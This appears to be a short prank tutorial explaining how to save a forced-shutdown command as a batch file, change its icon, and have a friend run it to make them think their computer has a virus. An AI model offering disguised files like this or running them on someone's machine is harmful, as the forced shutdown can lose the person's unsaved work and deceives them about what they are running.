To make your friend afraid of virus, perform the following steps
 
1) Open notepad and type this

c:/windows/system32/shutdown -s -f -t 00

2) -t 00 is the timer so your can set it what you want.

3) Then save it as shutdown.bat and change icon & run it ... Enjoy =)